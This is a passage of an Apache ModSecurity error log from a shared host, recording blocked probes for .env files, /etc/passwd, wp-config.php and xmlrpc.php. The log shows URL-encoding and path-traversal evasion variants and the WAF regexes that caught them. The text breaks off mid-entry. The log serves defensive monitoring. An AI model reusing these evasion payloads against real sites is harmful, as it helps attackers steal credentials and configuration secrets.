"(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCcTA7b1mZrmcA-871QAAAno"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.471768 2026] [security2:error] [pid 531155:tid 531394] [client 103.153.183.69:46356] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/build../etc/passwd"] [unique_id "ai3yCSmiP80klyS0NnoIIgAAAXc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.499053 2026] [security2:error] [pid 531797:tid 532124] [client 103.153.183.69:46342] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/%2Eenv"] [unique_id "ai3yCcTA7b1mZrmcA-872AAAAo8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.499053 2026] [security2:error] [pid 531155:tid 531396] [client 103.153.183.69:46356] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/build../etc/nginx/nginx.conf"] [unique_id "ai3yCSmiP80klyS0NnoIIwAAAXk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.525050 2026] [security2:error] [pid 531155:tid 531358] [client 103.153.183.69:46356] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./%252Eenv"] [unique_id "ai3yCSmiP80klyS0NnoIJAAAAVM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.525266 2026] [security2:error] [pid 531797:tid 532032] [client 103.153.183.69:46342] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/build../.env"] [unique_id "ai3yCcTA7b1mZrmcA-872QAAAjc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.542153 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:12:57.542437 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:12:57.570623 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.33:21165] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:57.571045 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.33:21165] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:57.603605 2026] [security2:error] [pid 531797:tid 532029] [client 103.153.183.69:46368] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%252Eenv"] [unique_id "ai3yCcTA7b1mZrmcA-873QAAAjQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.603841 2026] [security2:error] [pid 531797:tid 532003] [client 103.153.183.69:46378] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/build../wp-config.php"] [unique_id "ai3yCcTA7b1mZrmcA-873gAAAhs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.608395 2026] [security2:error] [pid 531797:tid 531864] [remote 74.7.227.22:40792] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3yCcTA7b1mZrmcA-873wACXgA"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:12:57.629025 2026] [security2:error] [pid 531797:tid 532102] [client 103.153.183.69:46382] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2F%252Eenv"] [unique_id "ai3yCcTA7b1mZrmcA-874AAAAns"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.683194 2026] [security2:error] [pid 531155:tid 531336] [client 103.153.183.69:46384] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%252Eenv"] [unique_id "ai3yCSmiP80klyS0NnoIKwAAAT0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.707835 2026] [security2:error] [pid 531797:tid 532064] [client 103.153.183.69:46388] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/build../config.php"] [unique_id "ai3yCcTA7b1mZrmcA-875gAAAlY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.709283 2026] [security2:error] [pid 531797:tid 531999] [client 103.153.183.69:46386] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%252Eenv"] [unique_id "ai3yCcTA7b1mZrmcA-875wAAAhc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.787160 2026] [security2:error] [pid 531797:tid 532080] [client 103.153.183.69:46402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/build../index.php"] [unique_id "ai3yCcTA7b1mZrmcA-876wAAAmY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.952235 2026] [security2:error] [pid 531797:tid 531877] [remote 17.22.245.28:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCcTA7b1mZrmcA-879AACfA0"] [Sat Jun 13 18:12:57.987039 2026] [security2:error] [pid 531797:tid 532092] [client 103.153.183.69:46396] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.%65nv"] [unique_id "ai3yCcTA7b1mZrmcA-87-AAAAnE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.013128 2026] [security2:error] [pid 531797:tid 532096] [client 103.153.183.69:46396] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/./.%2565nv"] [unique_id "ai3yCsTA7b1mZrmcA-87-QAAAnU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.052641 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.89:56722] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:58.052921 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.89:56722] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:58.072203 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:12:58.072498 2026] [access_compat:error] [pid 531155:tid 531257] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:12:58.096868 2026] [security2:error] [pid 531797:tid 532105] [client 103.153.183.69:46424] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.%65nv"] [unique_id "ai3yCsTA7b1mZrmcA-87_QAAAn4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.152129 2026] [security2:error] [pid 531797:tid 532100] [client 103.153.183.69:46424] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/%2e%65%6e%76"] [unique_id "ai3yCsTA7b1mZrmcA-87_wAAAnk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.170157 2026] [security2:error] [pid 531797:tid 532099] [client 47.128.110.115:30212] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "kentraneotitas.org"] [uri "/robots.txt"] [unique_id "ai3yCsTA7b1mZrmcA-88AgAAAng"] [Sat Jun 13 18:12:58.195365 2026] [security2:error] [pid 531797:tid 532022] [client 103.153.183.69:46424] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/%2e%65%6e%76"] [unique_id "ai3yCsTA7b1mZrmcA-88AwAAAi4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.223206 2026] [security2:error] [pid 531797:tid 532077] [client 103.153.183.69:46424] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/%2e%65%6e%76"] [unique_id "ai3yCsTA7b1mZrmcA-88BAAAAmM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.277265 2026] [security2:error] [pid 531797:tid 532070] [client 103.153.183.69:46424] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%c0%2eenv"] [unique_id "ai3yCsTA7b1mZrmcA-88BwAAAlw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.379115 2026] [security2:error] [pid 531797:tid 531923] [remote 17.241.227.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCsTA7b1mZrmcA-88CwACJTs"] [Sat Jun 13 18:12:58.379470 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.53:23424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:58.379937 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.53:23424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:58.464854 2026] [security2:error] [pid 531797:tid 532127] [client 184.160.96.106:65103] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.96.160.184.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hairdefinitions.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3yCsTA7b1mZrmcA-88DwAAApI"] [Sat Jun 13 18:12:58.465035 2026] [security2:error] [pid 531797:tid 532127] [client 184.160.96.106:65103] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "hairdefinitions.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3yCsTA7b1mZrmcA-88DwAAApI"] [Sat Jun 13 18:12:58.512758 2026] [security2:error] [pid 531797:tid 532055] [client 216.73.216.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_body_basic.phpt"] [unique_id "ai3yCsTA7b1mZrmcA-88EwAAAk0"] [Sat Jun 13 18:12:58.580668 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:12:58.580943 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:12:58.604986 2026] [security2:error] [pid 531155:tid 531294] [client 103.153.183.69:46408] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ENV"] [unique_id "ai3yCimiP80klyS0NnoISQAAARM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.632323 2026] [security2:error] [pid 531155:tid 531340] [client 103.153.183.69:46408] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ENV"] [unique_id "ai3yCimiP80klyS0NnoISgAAAUE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.659179 2026] [security2:error] [pid 531155:tid 531397] [client 103.153.183.69:46408] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ENV"] [unique_id "ai3yCimiP80klyS0NnoISwAAAXo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.684883 2026] [security2:error] [pid 531155:tid 531369] [client 103.153.183.69:46408] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2F.ENV"] [unique_id "ai3yCimiP80klyS0NnoITwAAAV4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.763548 2026] [security2:error] [pid 531155:tid 531290] [client 103.153.183.69:55892] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ENV"] [unique_id "ai3yCimiP80klyS0NnoIUgAAAQ8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.790888 2026] [security2:error] [pid 531155:tid 531339] [client 103.153.183.69:55892] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ENV"] [unique_id "ai3yCimiP80klyS0NnoIVAAAAUA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.832375 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.26:28628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 